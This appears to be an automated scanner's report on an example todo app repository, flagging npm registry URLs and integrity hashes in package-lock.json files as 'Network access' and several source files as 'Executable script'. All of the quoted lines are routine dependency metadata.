    "node_modules/strip-json-comments": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
  • Network accessline 2422
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",       "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==",
  • Network accessline 2423
    "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
  • Network accessline 2430
    "node_modules/tar": {       "version": "6.2.1",       "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
  • Network accessline 2431
    "version": "6.2.1",       "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",       "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==",
  • Network accessline 2432
    "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
  • Network accessline 2447
    "node_modules/tar-fs": {       "version": "2.1.4",       "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz",
  • Network accessline 2448
    "version": "2.1.4",       "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz",       "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==",
  • Network accessline 2449
    "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz",
  • Network accessline 2459
    "node_modules/tar-fs/node_modules/chownr": {       "version": "1.1.4",       "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
  • Network accessline 2460
    "version": "1.1.4",       "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",       "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
  • Network accessline 2461
    "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
  • Network accessline 2465
    "node_modules/tar-stream": {       "version": "2.2.0",       "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",
  • Network accessline 2466
    "version": "2.2.0",       "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",       "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==",
  • Network accessline 2467
    "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",
  • Network accessline 2481
    "node_modules/tar/node_modules/minipass": {       "version": "5.0.0",       "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
  • Network accessline 2482
    "version": "5.0.0",       "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",       "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==",
  • Network accessline 2483
    "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
  • Network accessline 2490
    "node_modules/toidentifier": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
  • Network accessline 2491
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",       "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
  • Network accessline 2492
    "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
  • Network accessline 2499
    "node_modules/ts-node": {       "version": "10.9.2",       "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-10.9.2.tgz",
  • Network accessline 2500
    "version": "10.9.2",       "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-10.9.2.tgz",       "integrity": "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==",
  • Network accessline 2501
    "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-10.9.2.tgz",
  • Network accessline 2543
    "node_modules/tunnel-agent": {       "version": "0.6.0",       "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
  • Network accessline 2544
    "version": "0.6.0",       "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",       "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
  • Network accessline 2545
    "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
  • Network accessline 2555
    "node_modules/type-is": {       "version": "1.6.18",       "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
  • Network accessline 2556
    "version": "1.6.18",       "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",       "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
  • Network accessline 2557
    "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
  • Network accessline 2568
    "node_modules/typescript": {       "version": "5.9.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
  • Network accessline 2569
    "version": "5.9.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",       "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
  • Network accessline 2570
    "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
  • Network accessline 2582
    "node_modules/undici-types": {       "version": "6.21.0",       "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz",
  • Network accessline 2583
    "version": "6.21.0",       "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz",       "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
  • Network accessline 2584
    "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz",
  • Network accessline 2589
    "node_modules/unique-filename": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",
  • Network accessline 2590
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",       "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==",
  • Network accessline 2591
    "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",
  • Network accessline 2599
    "node_modules/unique-slug": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",
  • Network accessline 2600
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",       "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==",
  • Network accessline 2601
    "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",
  • Network accessline 2609
    "node_modules/unpipe": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
  • Network accessline 2610
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",       "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
  • Network accessline 2611
    "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
  • Network accessline 2618
    "node_modules/util-deprecate": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
  • Network accessline 2619
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",       "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
  • Network accessline 2620
    "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
  • Network accessline 2624
    "node_modules/utils-merge": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
  • Network accessline 2625
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",       "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
  • Network accessline 2626
    "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
  • Network accessline 2633
    "node_modules/v8-compile-cache-lib": {       "version": "3.0.1",       "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz",
  • Network accessline 2634
    "version": "3.0.1",       "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz",       "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==",
  • Network accessline 2635
    "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz",
  • Network accessline 2640
    "node_modules/vary": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
  • Network accessline 2641
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",       "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
  • Network accessline 2642
    "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
  • Network accessline 2649
    "node_modules/which": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
  • Network accessline 2650
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
  • Network accessline 2651
    "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
  • Network accessline 2665
    "node_modules/wide-align": {       "version": "1.1.5",       "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
  • Network accessline 2666
    "version": "1.1.5",       "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",       "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==",
  • Network accessline 2667
    "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
  • Network accessline 2675
    "node_modules/wrappy": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
  • Network accessline 2676
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",       "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
  • Network accessline 2677
    "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
  • Network accessline 2681
    "node_modules/yallist": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
  • Network accessline 2682
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",       "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
  • Network accessline 2683
    "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
  • Network accessline 2687
    "node_modules/yn": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz",
  • Network accessline 2688
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz",       "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==",
  • Network accessline 2689
    "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz",

skills/loki-mode/examples/todo-app-generated/backend/package.json

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/backend/src/db/database.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/backend/src/db/db.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/backend/src/db/index.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/backend/src/db/migrations.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/backend/src/index.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/backend/src/routes/todos.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/backend/src/types/index.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/package-lock.json

  • Network accessline 24
    "node_modules/@babel/code-frame": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
  • Network accessline 25
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",       "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==",
  • Network accessline 26
    "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
  • Network accessline 39
    "node_modules/@babel/compat-data": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz",
  • Network accessline 40
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz",       "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==",
  • Network accessline 41
    "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz",
  • Network accessline 49
    "node_modules/@babel/core": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz",
  • Network accessline 50
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz",       "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==",
  • Network accessline 51
    "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz",
  • Network accessline 75
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/babel"
  • Network accessline 76
    "type": "opencollective",         "url": "https://opencollective.com/babel"       }
  • Network accessline 77
    "url": "https://opencollective.com/babel"
  • Network accessline 80
    "node_modules/@babel/generator": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz",
  • Network accessline 81
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz",       "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==",
  • Network accessline 82
    "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz",
  • Network accessline 97
    "node_modules/@babel/helper-compilation-targets": {       "version": "7.27.2",       "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",
  • Network accessline 98
    "version": "7.27.2",       "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",       "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3O
  • Network accessline 99
    "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",
  • Network accessline 114
    "node_modules/@babel/helper-globals": {       "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
  • Network accessline 115
    "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",       "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
  • Network accessline 116
    "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
  • Network accessline 124
    "node_modules/@babel/helper-module-imports": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",
  • Network accessline 125
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",       "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1
  • Network accessline 126
    "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",
  • Network accessline 138
    "node_modules/@babel/helper-module-transforms": {       "version": "7.28.3",       "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz",
  • Network accessline 139
    "version": "7.28.3",       "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz",       "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y
  • Network accessline 140
    "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz",
  • Network accessline 156
    "node_modules/@babel/helper-plugin-utils": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz",
  • Network accessline 157
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz",       "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0t
  • Network accessline 158
    "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz",
  • Network accessline 166
    "node_modules/@babel/helper-string-parser": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
  • Network accessline 167
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",       "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbW
  • Network accessline 168
    "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
  • Network accessline 176
    "node_modules/@babel/helper-validator-identifier": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
  • Network accessline 177
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",       "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoL
  • Network accessline 178
    "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
  • Network accessline 186
    "node_modules/@babel/helper-validator-option": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
  • Network accessline 187
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",       "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4M
  • Network accessline 188
    "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
  • Network accessline 196
    "node_modules/@babel/helpers": {       "version": "7.28.4",       "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz",
  • Network accessline 197
    "version": "7.28.4",       "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz",       "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==",
  • Network accessline 198
    "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz",
  • Network accessline 210
    "node_modules/@babel/parser": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz",
  • Network accessline 211
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz",       "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==",
  • Network accessline 212
    "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz",
  • Network accessline 226
    "node_modules/@babel/plugin-transform-react-jsx-self": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",
  • Network accessline 227
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",       "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X
  • Network accessline 228
    "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",
  • Network accessline 242
    "node_modules/@babel/plugin-transform-react-jsx-source": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",
  • Network accessline 243
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",       "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeoko
  • Network accessline 244
    "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",
  • Network accessline 258
    "node_modules/@babel/template": {       "version": "7.27.2",       "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",
  • Network accessline 259
    "version": "7.27.2",       "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",       "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==",
  • Network accessline 260
    "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",
  • Network accessline 273
    "node_modules/@babel/traverse": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz",
  • Network accessline 274
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz",       "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==",
  • Network accessline 275
    "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz",
  • Network accessline 292
    "node_modules/@babel/types": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz",
  • Network accessline 293
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz",       "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==",
  • Network accessline 294
    "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz",
  • Network accessline 306
    "node_modules/@esbuild/aix-ppc64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
  • Network accessline 307
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",       "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==",
  • Network accessline 308
    "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
  • Network accessline 323
    "node_modules/@esbuild/android-arm": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
  • Network accessline 324
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",       "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==",
  • Network accessline 325
    "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
  • Network accessline 340
    "node_modules/@esbuild/android-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
  • Network accessline 341
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",       "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==",
  • Network accessline 342
    "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
  • Network accessline 357
    "node_modules/@esbuild/android-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
  • Network accessline 358
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",       "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==",
  • Network accessline 359
    "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
  • Network accessline 374
    "node_modules/@esbuild/darwin-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
  • Network accessline 375
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",       "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==",
  • Network accessline 376
    "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
  • Network accessline 391
